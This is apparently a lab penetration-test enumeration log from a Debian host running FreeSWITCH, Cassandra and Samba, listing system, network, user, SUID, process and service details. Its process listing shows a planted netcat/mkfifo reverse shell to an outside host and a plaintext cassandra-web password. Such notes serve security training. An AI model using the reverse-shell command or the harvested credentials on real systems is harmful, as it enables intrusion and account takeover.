System/Kernel


freeswitch@clue:/$ uname -a ; cat /etc/*release
Linux clue 4.19.0-21-amd64 #1 SMP Debian 4.19.249-2 (2022-06-30) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
  • 4.19.0-21-amd64
  • x86_64
  • Debian GNU/Linux 10 (buster)

Networks


freeswitch@clue:/$ ip route ; arp -a
default via 192.168.220.254 dev ens192 onlink 
192.168.220.0/24 dev ens192 proto kernel scope link src 192.168.220.240 
? (192.168.220.254) at 00:50:56:9e:65:67 [ether] on ens192
freeswitch@clue:/$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:42669         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9042          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:8021            0.0.0.0:*               LISTEN      533/freeswitch      
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:7000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:7199          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:43074         127.0.0.1:9042          ESTABLISHED -                   
tcp        0      0 192.168.220.240:8021    192.168.45.192:38164    ESTABLISHED 533/freeswitch      
tcp        0      0 192.168.220.240:3000    192.168.45.192:39498    ESTABLISHED -                   
tcp        0      0 127.0.0.1:43070         127.0.0.1:9042          ESTABLISHED -                   
tcp        0      0 192.168.220.240:3000    192.168.45.192:40116    ESTABLISHED -                   
tcp        0     17 192.168.220.240:36760   192.168.45.192:8021     ESTABLISHED 4956/nc             
tcp        0      0 192.168.220.240:3000    192.168.45.192:43326    ESTABLISHED -                   
tcp        0      0 192.168.220.240:3000    192.168.45.192:58778    ESTABLISHED -                   
tcp        0      0 127.0.0.1:9042          127.0.0.1:43074         ESTABLISHED -                   
tcp        0      0 127.0.0.1:9042          127.0.0.1:43070         ESTABLISHED -                   
tcp        0      0 192.168.220.240:3000    192.168.45.192:37342    ESTABLISHED -                   
udp        0      0 192.168.220.240:123     0.0.0.0:*                           -                   
udp        0      0 127.0.0.1:123           0.0.0.0:*                           -                   
udp        0      0 0.0.0.0:123             0.0.0.0:*                           -                   
  • tcp 0 0 127.0.0.1:42669 0.0.0.0:* LISTEN -
  • tcp 0 0 127.0.0.1:9042 0.0.0.0:* LISTEN -
  • tcp 0 0 127.0.0.1:7000 0.0.0.0:* LISTEN -
  • tcp 0 0 127.0.0.1:7199 0.0.0.0:* LISTEN -

Users & Groups


freeswitch@clue:/$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ntp:x:106:113::/nonexistent:/usr/sbin/nologin
cassandra:x:107:114:Cassandra database,,,:/var/lib/cassandra:/usr/sbin/nologin
cassie:x:1000:1000::/home/cassie:/bin/bash
freeswitch:x:998:998:FreeSWITCH:/var/lib/freeswitch:/bin/false
anthony:x:1001:1001::/home/anthony:/bin/bash
total 16K
4.0K drwxr-xr-x  4 cassie  cassie  4.0K Aug 11  2022 cassie
4.0K drwxr-xr-x  3 anthony anthony 4.0K Aug  5  2022 anthony
4.0K drwxr-xr-x  4 root    root    4.0K Aug  5  2022 .
4.0K drwxr-xr-x 18 root    root    4.0K Aug  5  2022 ..
  • cassie
  • anthony
freeswitch@clue:/$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=102(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=103(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=104(messagebus) gid=110(messagebus) groups=110(messagebus)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=106(ntp) gid=113(ntp) groups=113(ntp)
uid=107(cassandra) gid=114(cassandra) groups=114(cassandra)
uid=1000(cassie) gid=1000(cassie) groups=1000(cassie)
uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch),29(audio)
uid=1001(anthony) gid=1001(anthony) groups=1001(anthony)
  • uid=998(freeswitch) gid=998(freeswitch) groups=998(freeswitch),29(audio)
  • uid=1000(cassie) gid=1000(cassie) groups=1000(cassie)
  • uid=1001(anthony) gid=1001(anthony) groups=1001(anthony)

SUIDs


freeswitch@clue:/$ find / -perm -04000 -ls -type f 2>/dev/null
   273373     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   276719    428 -rwsr-xr-x   1 root     root         436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   398815     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   266035     52 -rwsr-xr-x   1 root     root          51280 Jan 10  2019 /usr/bin/mount
   262183     64 -rwsr-xr-x   1 root     root          63736 Jul 27  2018 /usr/bin/passwd
   265710     64 -rwsr-xr-x   1 root     root          63568 Jan 10  2019 /usr/bin/su
   279239     36 -rwsr-xr-x   1 root     root          34896 Apr 22  2020 /usr/bin/fusermount
   266037     36 -rwsr-xr-x   1 root     root          34888 Jan 10  2019 /usr/bin/umount
   262179     56 -rwsr-xr-x   1 root     root          54096 Jul 27  2018 /usr/bin/chfn
   262180     44 -rwsr-xr-x   1 root     root          44528 Jul 27  2018 /usr/bin/chsh
   265563     44 -rwsr-xr-x   1 root     root          44440 Jul 27  2018 /usr/bin/newgrp
   272496    156 -rwsr-xr-x   1 root     root         157192 Jan 20  2021 /usr/bin/sudo
   262182     84 -rwsr-xr-x   1 root     root          84016 Jul 27  2018 /usr/bin/gpasswd

SGIDs


freeswitch@clue:/$ find / -perm -02000 -ls -type f 2>/dev/null
   395189      4 drwxrwsr-x   3 root     staff        4096 Oct 20  2020 /usr/local/lib/python3.7
   395191      4 drwxrwsr-x   2 root     staff        4096 Oct 20  2020 /usr/local/lib/python3.7/dist-packages
   398844      4 drwxrwsr-x   4 root     staff        4096 Oct 20  2020 /usr/local/lib/python2.7
   399799      4 drwxrwsr-x   2 root     staff        4096 Oct 20  2020 /usr/local/lib/python2.7/site-packages
   398845      4 drwxrwsr-x   2 root     staff        4096 Oct 20  2020 /usr/local/lib/python2.7/dist-packages
   287345      4 drwxrwsr-x   2 root     staff        4096 Aug  5  2022 /usr/local/share/fonts
   262984     40 -rwxr-sr-x   1 root     shadow      39616 Feb 14  2019 /usr/sbin/unix_chkpwd
   273564     20 -rwxr-sr-x   1 root     mail        18944 Dec  3  2017 /usr/bin/dotlockfile
   262181     32 -rwxr-sr-x   1 root     shadow      31000 Jul 27  2018 /usr/bin/expiry
   276712    316 -rwxr-sr-x   1 root     ssh        321672 Jan 31  2020 /usr/bin/ssh-agent
   268064     16 -rwxr-sr-x   1 root     tty         14736 May  4  2018 /usr/bin/bsd-write
   262178     72 -rwxr-sr-x   1 root     shadow      71816 Jul 27  2018 /usr/bin/chage
   268184     44 -rwxr-sr-x   1 root     crontab     43568 Oct 11  2019 /usr/bin/crontab
   263608     36 -rwxr-sr-x   1 root     tty         34896 Jan 10  2019 /usr/bin/wall
    11021      0 drwxr-sr-x   3 root     systemd-journal       60 Aug  2  2024 /run/log/journal
    11022      0 drwxr-s---   2 root     systemd-journal      100 Mar 25 14:19 /run/log/journal/dfeea3a38b804ead8bd9a54e8c7e2bad
   655538      4 drwxrwsr-x   2 root     staff               4096 Sep 19  2020 /var/local
   655584      4 drwxrwsr-x   2 root     mail                4096 Oct 20  2020 /var/mail

Capabilities


freeswitch@clue:/$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

Processes


freeswitch@clue:/$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.4 103860  9060 ?        Ss   11:43   0:01 /sbin/init
root       246  0.0  0.4  42996  9176 ?        Ss   11:43   0:00 /lib/systemd/systemd-journald
root       266  0.0  0.2  22216  4936 ?        Ss   11:43   0:00 /lib/systemd/systemd-udevd
root       331  0.0  0.5  46192 10276 ?        Ss   11:43   0:00 /usr/bin/VGAuthService
root       332  0.0  0.5 122892 11348 ?        Ssl  11:43   0:06 /usr/bin/vmtoolsd
message+   402  0.0  0.2   9152  4244 ?        Rs   11:43   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root       405  0.0  0.2 223772  4260 ?        Ssl  11:43   0:00 /usr/sbin/rsyslogd -n -iNONE
root       409  0.0  0.1   8500  2864 ?        Ss   11:43   0:00 /usr/sbin/cron -f
root       413  0.0  0.2  19320  5624 ?        Ss   11:43   0:00 /lib/systemd/systemd-logind
ntp        459  0.0  0.1  76800  3368 ?        Ssl  11:43   0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -u 106:113
root       482  0.0  0.3  13812  7060 ?        Ss   11:43   0:00 /usr/sbin/sshd -D
root       485  0.0  0.0   5608  1736 tty1     Ss+  11:43   0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
freeswi+   533  0.0  1.1 587656 22780 ?        S<sl 11:43   0:11 /usr/bin/freeswitch -u freeswitch -g freeswitch -ncwait -nonat
root       573  0.0  0.9 194952 20136 ?        Ss   11:43   0:00 /usr/sbin/apache2 -k start
cassand+   804  0.2 63.0 2827208 1287396 ?     SLl  11:44   0:49 /usr/bin/java -Xloggc:/var/log/cassandra/gc.log -ea -XX:+UseThreadPriorities -XX:ThreadPriorityPolicy=42 -XX:+HeapDumpOnOutOfMemoryError -Xss256k -XX:StringTableSize=1000003 -XX:+AlwaysPreTouch -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+UseNUMA -XX:+PerfDisableSharedMem -Djava.net.preferIPv4Stack=true -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=1 -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSWaitDuration=10000 -XX:+CMSParallelInitialMarkEnabled -XX:+CMSEdenChunksRecordAlways -XX:+CMSClassUnloadingEnabled -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+PrintPromotionFailure -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=10M -Xms997M -Xmx997M -Xmn100M -XX:+UseCondCardMark -XX:CompileCommandFile=/etc/cassandra/hotspot_compiler -javaagent:/usr/share/cassandra/lib/jamm-0.3.0.jar -Dcassandra.jmx.local.port=7199 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.password.file=/etc/cassandra/jmxremote.password -Djava.library.path=/usr/share/cassandra/lib/sigar-bin -XX:OnOutOfMemoryError=kill -9 %p -Dlogback.configurationFile=logback.xml -Dcassandra.logdir=/var/log/cassandra -Dcassandra.storagedir=/var/lib/cassandra -Dcassandra-pidfile=/var/run/cassandra/cassandra.pid -cp /etc/cassandra:/usr/share/cassandra/lib/HdrHistogram-2.1.9.jar:/usr/share/cassandra/lib/ST4-4.0.8.jar:/usr/share/cassandra/lib/airline-0.6.jar:/usr/share/cassandra/lib/antlr-runtime-3.5.2.jar:/usr/share/cassandra/lib/asm-5.0.4.jar:/usr/share/cassandra/lib/caffeine-2.2.6.jar:/usr/share/cassandra/lib/cassandra-driver-core-3.0.1-shaded.jar:/usr/share/cassandra/lib/commons-cli-1.1.jar:/usr/share/cassandra/lib/commons-codec-1.9.jar:/usr/share/cassandra/lib/commons-lang3-3.1.jar:/usr/share/cassandra/lib/commons-math3-3.2.jar:/usr/share/cassandra/lib/compress-lzf-0.8.4.jar:/usr/share/cassandra/lib/concurrent-trees-2.4.0.jar:/usr/share/cassandra/lib/concurrentlinkedhashmap-lru-1.4.jar:/usr/share/cassandra/lib/disruptor-3.0.1.jar:/usr/share/cassandra/lib/ecj-4.4.2.jar:/usr/share/cassandra/lib/guava-18.0.jar:/usr/share/cassandra/lib/high-scale-lib-1.0.6.jar:/usr/share/cassandra/lib/hppc-0.5.4.jar:/usr/share/cassandra/lib/jackson-annotations-2.13.2.jar:/usr/share/cassandra/lib/jackson-core-2.13.2.jar:/usr/share/cassandra/lib/jackson-databind-2.13.2.2.jar:/usr/share/cassandra/lib/jamm-0.3.0.jar:/usr/share/cassandra/lib/javax.inject-1.jar:/usr/share/cassandra/lib/jbcrypt-0.4.jar:/usr/share/cassandra/lib/jcl-over-slf4j-1.7.25.jar:/usr/share/cassandra/lib/jctools-core-1.2.1.jar:/usr/share/cassandra/lib/jflex-1.6.0.jar:/usr/share/cassandra/lib/jna-4.2.2.jar:/usr/share/cassandra/lib/joda-time-2.4.jar:/usr/share/cassandra/lib/json-simple-1.1.jar:/usr/share/cassandra/lib/libthrift-0.9.2.jar:/usr/share/cassandra/lib/log4j-over-slf4j-1.7.25.jar:/usr/share/cassandra/lib/logback-classic-1.2.9.jar:/usr/share/cassandra/lib/logback-core-1.2.9.jar:/usr/share/cassandra/lib/lz4-1.3.0.jar:/usr/share/cassandra/lib/metrics-core-3.1.5.jar:/usr/share/cassandra/lib/metrics-jvm-3.1.5.jar:/usr/share/cassandra/lib/metrics-logback-3.1.5.jar:/usr/share/cassandra/lib/netty-all-4.0.44.Final.jar:/usr/share/cassandra/lib/ohc-core-0.4.4.jar:/usr/share/cassandra/lib/ohc-core-j8-0.4.4.jar:/usr/share/cassandra/lib/reporter-config-base-3.0.3.jar:/usr/share/cassandra/lib/reporter-config3-3.0.3.jar:/usr/share/cassandra/lib/sigar-1.6.4.jar:/usr/share/cassandra/lib/slf4j-api-1.7.25.jar:/usr/share/cassandra/lib/snakeyaml-1.26.jar:/usr/share/cassandra/lib/snappy-java-1.1.1.7.jar:/usr/share/cassandra/lib/snowball-stemmer-1.3.0.581.1.jar:/usr/share/cassandra/lib/stream-2.5.2.jar:/usr/share/cassandra/lib/thrift-server-0.3.7.jar:/usr/share/cassandra/apache-cassandra-3.11.13.jar:/usr/share/cassandra/apache-cassandra-thrift-3.11.13.jar:/usr/share/cassandra/apache-cassandra.jar:/usr/share/cassandra/stress.jar: -XX:HeapDumpPath=/var/lib/cassandra/java_1722636497.hprof -XX:ErrorFile=/var/lib/cassandra/hs_err_1722636497.log org.apache.cassandra.service.CassandraDaemon
cassie     981  0.0  1.6 624216 34236 ?        Ssl  11:45   0:04 /usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330
root      1354  0.0  0.5  48052 10696 ?        Ss   11:46   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1356  0.0  0.1  44620  3824 ?        S    11:46   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1357  0.0  0.1  44628  3992 ?        S    11:46   0:00 /usr/sbin/smbd --foreground --no-process-group
root      1358  0.0  0.2  48036  5132 ?        S    11:46   0:00 /usr/sbin/smbd --foreground --no-process-group
www-data  2488  0.0  0.5 195704 12112 ?        S    12:39   0:02 /usr/sbin/apache2 -k start
www-data  2592  0.0  0.5 195308 11588 ?        S    12:44   0:01 /usr/sbin/apache2 -k start
www-data  2674  0.0  0.5 195308 11592 ?        S    12:48   0:01 /usr/sbin/apache2 -k start
www-data  2683  0.0  0.5 195308 11588 ?        S    12:48   0:01 /usr/sbin/apache2 -k start
www-data  2733  0.0  0.5 195704 12104 ?        S    12:51   0:00 /usr/sbin/apache2 -k start
www-data  2789  0.0  0.5 195308 11588 ?        S    12:54   0:00 /usr/sbin/apache2 -k start
www-data  2790  0.0  0.5 195308 11588 ?        S    12:54   0:00 /usr/sbin/apache2 -k start
www-data  2793  0.0  0.5 195308 11588 ?        S    12:54   0:00 /usr/sbin/apache2 -k start
www-data  2797  0.0  0.5 195308 11588 ?        S    12:54   0:00 /usr/sbin/apache2 -k start
www-data  2814  0.0  0.5 195308 11588 ?        S    12:55   0:00 /usr/sbin/apache2 -k start
freeswi+  4954  0.0  0.0   2384   764 ?        S<   16:30   0:00 sh -c mkfifo /tmp/ypzdi; nc 192.168.45.192 8021 0</tmp/ypzdi | /bin/sh >/tmp/ypzdi 2>&1; rm /tmp/ypzdi
freeswi+  4956  0.0  0.0   2368  1924 ?        R<   16:30   0:00 nc 192.168.45.192 8021
freeswi+  4957  0.0  0.0   2384   696 ?        S<   16:30   0:00 /bin/sh
freeswi+  4969  0.0  0.1   5552  2288 ?        D<   16:31   0:00 script /dev/null -c bash
freeswi+  4970  0.0  0.0   2384   760 pts/0    S<s  16:31   0:00 sh -c bash
freeswi+  4971  0.0  0.1   6988  3796 pts/0    S<   16:31   0:00 bash
freeswi+  5056  0.0  0.1  10912  3304 pts/0    R<+  16:35   0:00 ps -auxwww
  • root 409 0.0 0.1 8500 2864 ? Ss 11:43 0:00 /usr/sbin/cron -f
  • ntp 459 0.0 0.1 76800 3368 ? Ssl 11:43 0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -u 106:113
  • freeswi+ 533 0.0 1.1 587656 22780 ? S<sl 11:43 0:11 /usr/bin/freeswitch -u freeswitch -g freeswitch -ncwait -nonat
  • cassand+ 804 0.2 63.0 2827208 1287396 ? SLl 11:44 0:49 /usr/bin/java -Xloggc:/var/log/cassandra/gc.log -ea -XX:+UseThreadPriorities -XX:ThreadPriorityPolicy=42 -XX:+HeapDumpOnOutOfMemoryError -Xss256k -XX:StringTableSize=1000003 -XX:+AlwaysPreTouch -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+UseNUMA -XX:+PerfDisableSharedMem -Djava.net.preferIPv4Stack=true -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:SurvivorRatio=8 -XX:MaxTenuringThreshold=1 -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:CMSWaitDuration=10000 -XX:+CMSParallelInitialMarkEnabled -XX:+CMSEdenChunksRecordAlways -XX:+CMSClassUnloadingEnabled -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+PrintPromotionFailure -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10 -XX:GCLogFileSize=10M -Xms997M -Xmx997M -Xmn100M -XX:+UseCondCardMark -XX:CompileCommandFile=/etc/cassandra/hotspot_compiler -javaagent:/usr/share/cassandra/lib/jamm-0.3.0.jar -Dcassandra.jmx.local.port=7199 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.password.file=/etc/cassandra/jmxremote.password -Djava.library.path=/usr/share/cassandra/lib/sigar-bin -XX:OnOutOfMemoryError=kill -9 %p -Dlogback.configurationFile=logback.xml -Dcassandra.logdir=/var/log/cassandra -Dcassandra.storagedir=/var/lib/cassandra -Dcassandra-pidfile=/var/run/cassandra/cassandra.pid -cp /etc/cassandra:/usr/share/cassandra/lib/HdrHistogram-2.1.9.jar:/usr/share/cassandra/lib/ST4-4.0.8.jar:/usr/share/cassandra/lib/airline-0.6.jar:/usr/share/cassandra/lib/antlr-runtime-3.5.2.jar:/usr/share/cassandra/lib/asm-5.0.4.jar:/usr/share/cassandra/lib/caffeine-2.2.6.jar:/usr/share/cassandra/lib/cassandra-driver-core-3.0.1-shaded.jar:/usr/share/cassandra/lib/commons-cli-1.1.jar:/usr/share/cassandra/lib/commons-codec-1.9.jar:/usr/share/cassandra/lib/commons-lang3-3.1.jar:/usr/share/cassandra/lib/commons-math3-3.2.jar:/usr/share/cassandra/lib/compress-lzf-0.8.4.jar:/usr/share/cassandra/lib/concurrent-trees-2.4.0.jar:/usr/share/cassandra/lib/concurrentlinkedhashmap-lru-1.4.jar:/usr/share/cassandra/lib/disruptor-3.0.1.jar:/usr/share/cassandra/lib/ecj-4.4.2.jar:/usr/share/cassandra/lib/guava-18.0.jar:/usr/share/cassandra/lib/high-scale-lib-1.0.6.jar:/usr/share/cassandra/lib/hppc-0.5.4.jar:/usr/share/cassandra/lib/jackson-annotations-2.13.2.jar:/usr/share/cassandra/lib/jackson-core-2.13.2.jar:/usr/share/cassandra/lib/jackson-databind-2.13.2.2.jar:/usr/share/cassandra/lib/jamm-0.3.0.jar:/usr/share/cassandra/lib/javax.inject-1.jar:/usr/share/cassandra/lib/jbcrypt-0.4.jar:/usr/share/cassandra/lib/jcl-over-slf4j-1.7.25.jar:/usr/share/cassandra/lib/jctools-core-1.2.1.jar:/usr/share/cassandra/lib/jflex-1.6.0.jar:/usr/share/cassandra/lib/jna-4.2.2.jar:/usr/share/cassandra/lib/joda-time-2.4.jar:/usr/share/cassandra/lib/json-simple-1.1.jar:/usr/share/cassandra/lib/libthrift-0.9.2.jar:/usr/share/cassandra/lib/log4j-over-slf4j-1.7.25.jar:/usr/share/cassandra/lib/logback-classic-1.2.9.jar:/usr/share/cassandra/lib/logback-core-1.2.9.jar:/usr/share/cassandra/lib/lz4-1.3.0.jar:/usr/share/cassandra/lib/metrics-core-3.1.5.jar:/usr/share/cassandra/lib/metrics-jvm-3.1.5.jar:/usr/share/cassandra/lib/metrics-logback-3.1.5.jar:/usr/share/cassandra/lib/netty-all-4.0.44.Final.jar:/usr/share/cassandra/lib/ohc-core-0.4.4.jar:/usr/share/cassandra/lib/ohc-core-j8-0.4.4.jar:/usr/share/cassandra/lib/reporter-config-base-3.0.3.jar:/usr/share/cassandra/lib/reporter-config3-3.0.3.jar:/usr/share/cassandra/lib/sigar-1.6.4.jar:/usr/share/cassandra/lib/slf4j-api-1.7.25.jar:/usr/share/cassandra/lib/snakeyaml-1.26.jar:/usr/share/cassandra/lib/snappy-java-1.1.1.7.jar:/usr/share/cassandra/lib/snowball-stemmer-1.3.0.581.1.jar:/usr/share/cassandra/lib/stream-2.5.2.jar:/usr/share/cassandra/lib/thrift-server-0.3.7.jar:/usr/share/cassandra/apache-cassandra-3.11.13.jar:/usr/share/cassandra/apache-cassandra-thrift-3.11.13.jar:/usr/share/cassandra/apache-cassandra.jar:/usr/share/cassandra/stress.jar: -XX:HeapDumpPath=/var/lib/cassandra/java_1722636497.hprof -XX:ErrorFile=/var/lib/cassandra/hs_err_1722636497.log org.apache.cassandra.service.CassandraDaemon
  • cassie 981 0.0 1.6 624216 34236 ? Ssl 11:45 0:04 /usr/bin/ruby2.5 /usr/local/bin/cassandra-web -u cassie -p SecondBiteTheApple330

Cron & Systemd


freeswitch@clue:/$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for freeswitch
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT          LAST                         PASSED  
Tue 2025-03-25 16:39:00 EDT  1min 24s left Tue 2025-03-25 16:09:01 EDT  28min ag
Tue 2025-03-25 20:15:03 EDT  3h 37min left Tue 2025-03-25 11:46:09 EDT  4h 51min
Wed 2025-03-26 00:00:00 EDT  7h left       Tue 2025-03-25 11:46:09 EDT  4h 51min
Wed 2025-03-26 00:00:00 EDT  7h left       Tue 2025-03-25 11:46:09 EDT  4h 51min
Wed 2025-03-26 06:01:05 EDT  13h left      Tue 2025-03-25 11:46:09 EDT  4h 51min
Wed 2025-03-26 11:59:01 EDT  19h left      Tue 2025-03-25 11:59:01 EDT  4h 38min
 
6 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-10/10 (END) 

Services


freeswitch@clue:/$ systemctl list-units --state=running
systemctl list-units --state=running
UNIT                            LOAD   ACTIVE SUB     DESCRIPTION              
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable Fil
init.scope                      loaded active running System and Service Manage
apache2.service                 loaded active running The Apache HTTP Server   
cassandra-web.service           loaded active running Cassandra Web Service    
cassandra.service               loaded active running LSB: distributed storage 
cron.service                    loaded active running Regular background progra
dbus.service                    loaded active running D-Bus System Message Bus 
freeswitch.service              loaded active running freeswitch               
getty@tty1.service              loaded active running Getty on tty1            
ntp.service                     loaded active running Network Time Service     
open-vm-tools.service           loaded active running Service for virtual machi
rsyslog.service                 loaded active running System Logging Service   
smbd.service                    loaded active running Samba SMB Daemon         
ssh.service                     loaded active running OpenBSD Secure Shell serv
systemd-journald.service        loaded active running Journal Service          
systemd-logind.service          loaded active running Login Service            
systemd-udevd.service           loaded active running udev Kernel Device Manage
vgauth.service                  loaded active running Authentication service fo
dbus.socket                     loaded active running D-Bus System Message Bus 
syslog.socket                   loaded active running Syslog Socket            
systemd-journald-audit.socket   loaded active running Journal Audit Socket     
systemd-journald-dev-log.socket loaded active running Journal Socket (/dev/log)
systemd-journald.socket         loaded active running Journal Socket           
systemd-udevd-control.socket    loaded active running udev Control Socket      
systemd-udevd-kernel.socket     loaded active running udev Kernel Socket       
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
25 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.
lines 11-33/33 (END)
  • cassandra-web.service
  • cassandra.service
  • freeswitch.service
  • ntp.service

Sudo Version


freeswitch@clue:/$ sudo --version
Sudo version 1.8.27
Sudoers policy plugin version 1.8.27
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.27

Sudo version 1.8.27

Glibc Version


freeswitch@clue:/$ ldd --version
ldd (Debian GLIBC 2.28-10+deb10u1) 2.28
